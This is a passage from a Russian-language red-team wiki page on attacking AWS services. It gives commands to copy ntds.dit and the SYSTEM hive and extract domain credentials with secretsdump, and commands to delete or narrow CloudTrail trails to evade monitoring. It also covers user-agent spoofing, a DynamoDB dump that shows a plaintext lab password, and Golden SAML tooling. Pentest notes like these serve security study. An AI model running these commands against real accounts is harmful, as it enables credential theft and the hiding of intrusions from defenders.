&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Kinesis Video Streams ==&lt;br /&gt;
&lt;br /&gt;
Обеспечивает простую и безопасную потоковую передачу видео с подключенных устройств в AWS для воспроизведения, аналитики, машинного обучения (ML) и других видов обработки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.kinesisvideo.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaConvert ==&lt;br /&gt;
&lt;br /&gt;
Сервис перекодирования видеофайлов с возможностями на уровне вещательных компаний. Он позволяет просто создавать контент в формате «видео по требованию» (VOD) для трансляций, в том числе мультиэкранных, в любом масштабе.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediaconvert.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Elemental MediaPackage ==&lt;br /&gt;
&lt;br /&gt;
Cервис для подготовки и защиты видеоконтента, распространяемого через Интернет. AWS Elemental MediaPackage использует один источник видео и создает на его основе специализированные видеопотоки для воспроизведения на подключенных телевизорах, мобильных телефонах, компьютерах, планшетах и игровых консолях.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== ECR (Elastic Container Registry) ==&lt;br /&gt;
&lt;br /&gt;
Региональный сервис, предназначенный для обеспечения гибкого развертывания образов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== ecr:ListImages ====&lt;br /&gt;
&lt;br /&gt;
Получить список образов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr list-images --repository-name &amp;lt;ECR_name&amp;gt; --registry-id &amp;lt;UserID&amp;gt; --region &amp;lt;region&amp;gt; --profile &amp;lt;profile_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer ====&lt;br /&gt;
&lt;br /&gt;
Позволяет получить URL на скачивание образа.&lt;br /&gt;
&lt;br /&gt;
==== ecr:GetDownloadUrlForLayer + ecr:BatchGetImage + ecr:GetAuthorizationToken ====&lt;br /&gt;
&lt;br /&gt;
Позволяет скачать образ (мб потребуется и ecr:ListImages чтобы получить список образов):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ecr get-login&lt;br /&gt;
docker pull &amp;lt;UserID&amp;gt;.dkr.ecr.us-east-1.amazonaws.com/&amp;lt;ECRName&amp;gt;:latest&lt;br /&gt;
docker inspect sha256:079aee8a89950717cdccd15b8f17c80e9bc4421a855fcdc120e1c534e4c102e0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Augmented AI (Amazon A2I) ==&lt;br /&gt;
&lt;br /&gt;
Предоставляет интерфейс для обработки человеком предварительных результатов, полученных с помощью машинного обучения.&lt;br /&gt;
&lt;br /&gt;
[[File:A2i.png|80%]]&lt;br /&gt;
&lt;br /&gt;
Данные сохраняются в S3, а также к задаче прикрепляется IAM-роль .&lt;br /&gt;
&lt;br /&gt;
При создании задачи разделяется на 3 варианта:&lt;br /&gt;
&lt;br /&gt;
* Textract - извлечение пары ключ-значение из текста&lt;br /&gt;
&lt;br /&gt;
* Rekognition - определение того, что изображено на фото. Например, чтобы оградить от 18+ контента.&lt;br /&gt;
&lt;br /&gt;
* Custom - пользовательский вариант&lt;br /&gt;
&lt;br /&gt;
Интересный факт - использует &amp;quot;Quill Rich Text Editor&amp;quot; для текста с инструкциями. То есть, если в нем будет уязвимость, то можно проверить амазон тоже.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/augmented-ai/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также у сервиса есть Workers - сервера, выполняющие кучу тасков. Они могут быть трех типов:&lt;br /&gt;
&lt;br /&gt;
1. Amazon Mechanical Turk - тупо сервера Amazon, за которые надо платить.&lt;br /&gt;
&lt;br /&gt;
2. Private - юзают если обрабатывают приватную инфу или задачи, не поддерживаемые первым пунктом (ну или регион не поддерживается). Это команды, которые имеют доступ к данным и которые могут запускать задачи. Команды менеджарятся с Amazon Cognito.&lt;br /&gt;
&lt;br /&gt;
3. Vendor - решения сторонних разработчиков.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли ===&lt;br /&gt;
&lt;br /&gt;
==== AmazonAugmentedAIIntegratedAPIAccess ====&lt;br /&gt;
&lt;br /&gt;
Дает доступ к Augmented AI Runtime, Amazon Rekognition или Amazon Textract API.&lt;br /&gt;
&lt;br /&gt;
TODO: проверить, дает ли это еще возможностей злоумышленнику&lt;br /&gt;
&lt;br /&gt;
== CodeGuru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/codeguru/&lt;br /&gt;
&lt;br /&gt;
== Comprehend ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/comprehend/&lt;br /&gt;
&lt;br /&gt;
== DevOps Guru ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/devops-guru/&lt;br /&gt;
&lt;br /&gt;
== Elastic Inference ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/elastic-inference/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Forecast ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/forecast/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Fraud Detector ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/fraud-detector/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== HealthLake ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/healthlake/&lt;br /&gt;
&lt;br /&gt;
== Kendra == &lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/kendra/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lex ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lex/?did=ap_card&amp;amp;trk=ap_card&lt;br /&gt;
&lt;br /&gt;
== Lookout for Equipment ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/lookout-for-equipment/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Metrics ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-metrics/&lt;br /&gt;
&lt;br /&gt;
== Lookout for Vision ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/lookout-for-vision/&lt;br /&gt;
&lt;br /&gt;
== Monitron ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/monitron/&lt;br /&gt;
&lt;br /&gt;
== Personalize ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/personalize/&lt;br /&gt;
&lt;br /&gt;
== Polly ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/polly/&lt;br /&gt;
&lt;br /&gt;
== Rekognition ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/rekognition/&lt;br /&gt;
&lt;br /&gt;
== SageMaker ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/&lt;br /&gt;
&lt;br /&gt;
== SageMaker Ground Truth ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/sagemaker/groundtruth/&lt;br /&gt;
&lt;br /&gt;
== Textract ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/textract/&lt;br /&gt;
&lt;br /&gt;
== Transcribe ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/transcribe/&lt;br /&gt;
&lt;br /&gt;
== Translate ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/translate/&lt;br /&gt;
&lt;br /&gt;
== Apache MXNet ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/ru/mxnet/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning Containers ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/containers/&lt;br /&gt;
&lt;br /&gt;
== DeepComposer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepcomposer/&lt;br /&gt;
&lt;br /&gt;
== DeepLens ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deeplens/&lt;br /&gt;
&lt;br /&gt;
== DeepRacer ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/deepracer/&lt;br /&gt;
&lt;br /&gt;
== Inferentia ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/inferentia/&lt;br /&gt;
&lt;br /&gt;
== Panorama ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/panorama/&lt;br /&gt;
&lt;br /&gt;
== PyTorch ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/pytorch/&lt;br /&gt;
&lt;br /&gt;
== TensorFlow ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/tensorflow/&lt;br /&gt;
&lt;br /&gt;
== Deep Learning AMI ==&lt;br /&gt;
&lt;br /&gt;
https://aws.amazon.com/machine-learning/amis/&lt;br /&gt;
&lt;br /&gt;
= Утилиты =&lt;br /&gt;
&lt;br /&gt;
== Вычисление ролей ==&lt;br /&gt;
&lt;br /&gt;
=== enumerate-iam ===&lt;br /&gt;
github.com:andresriancho/enumerate-iam.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Эксплуатация ==&lt;br /&gt;
&lt;br /&gt;
=== Golden SAML ===&lt;br /&gt;
&lt;br /&gt;
Суть атаки в том, что зная ключ, которым подписываются SAML-запросы, вы можете подделать ответ и получить произвольные привилегии в SSO.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее про эксплуатацию тут: https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps&lt;br /&gt;
&lt;br /&gt;
==== shimit ====&lt;br /&gt;
https://github.com/cyberark/shimit&lt;br /&gt;
&lt;br /&gt;
Установка:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
cd /tmp&lt;br /&gt;
python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml&lt;br /&gt;
git clone https://github.com/cyberark/shimit&lt;br /&gt;
cd shmit&lt;br /&gt;
python shmit.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
